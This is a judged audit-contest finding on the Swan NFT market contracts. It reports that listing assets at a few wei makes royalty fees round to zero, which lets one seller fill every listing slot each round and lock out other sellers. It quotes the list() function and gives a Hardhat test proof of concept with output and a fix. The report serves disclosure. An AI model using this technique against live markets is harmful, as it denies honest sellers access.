Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Cheap Asset Spam Attack can block Competitor Listings to Control Market Rounds

Summary

A malicious user can spam list cheap assets at 0 cost to get all his listed assets bought and DoS other's listings

Vulnerability Details

A seller can disrupt the round by listing low-cost assets (e.g., 10 wei), quickly reaching the maximum asset count and preventing other users from listing their assets. This tactic increases the likelihood that only the seller's assets will be bought during the round. Since the royalty fees round down to zero, the seller effectively pays nothing for fees. This process can be repeated every round, resulting in a Denial of Service (DoS) for other sellers, forcing buyers to purchase mostly the seller's assets. With a base mainnet transaction fee below 0.1 gwei, anyone can send a transaction with minimal gas fees (e.g., 100,000,000 wei) at a price of 1 gwei (1,000,000,000 wei). Each successful buy nets the attacker 10 wei, making continuous attacks like this profitable across rounds.
As seen in Swan.lis() function there is no check to ensure the price of an asset is at least a minimum so seller can list asset at cheap prices or 0.

function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer)
external
{
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
// buyer must be in the sell phase
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
// asset count must not exceed `maxAssetCount`
if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
// all is well, create the asset & its listing
address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
listings[asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
// add this to list of listings for the buyer for this round
assetsPerBuyerRound[_buyer][round].push(asset);
// transfer royalties
transferRoyalties(listings[asset]);
emit AssetListed(msg.sender, asset, _price);
}

For PoC follow these instructions:

In Swan.test.ts define a new const (our price for listing)
const WEIPRICE = parseEther("0.000000001");
then in describe("Sell phase #1: listing", () => { change this it block it("should list 5 assets for the first round", with the following:

it("list asset at cheap price, pay nothing for fees", async function () {
const bal = await token.balanceOf(seller);
console.log(bal);
const swanbal = await token.balanceOf(swan);
console.log("swan bal before", swanbal);
const buyerBal = await token.balanceOf(buyerAgent);
console.log(buyerBal);
await listAssets(
swan,
buyerAgent,
[
[seller, WEIPRICE],
[seller, WEIPRICE],
[seller, WEIPRICE],
[sellerToRelist, WEIPRICE],
[sellerToRelist, WEIPRICE],
],
NAME,
SYMBOL,
DESC,
0n
);
[assetToBuy, assetToRelist, assetToFail, ,] = await swan.getListedAssets(
await buyerAgent.getAddress(),
currRound
);
const buyerBalAfter = await token.balanceOf(buyerAgent);
console.log(buyerBalAfter);
const swanbalAfter = await token.balanceOf(swan);
console.log("swan bal after", swanbalAfter);
});

run it using yarn test test/Swan.test.ts we are only interesting in our test passing and printing the console.log output at the beginning

output:

Compiled 8 Solidity files successfully (evm target: paris).
83100000000000000n
swan bal before 0n
3000000000000000000n
3000000000049500000n
swan bal after 0n

0 fees effectively have been paid for listing.

warning: some test will fails especially in buy phase #1 because test are relied between them and our modification affects the rest of blocks

Impact

  1. Only malicious users assets will be available to buy in all rounds.

  2. DoS Other users from listing their assets by cloging the listing with maxAssets.

Tools Used

Manual review

Recommendations

Enforce a minimum fee for listing of assets so that fees won't round down to zero and to discourage cheap assets listing spam

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.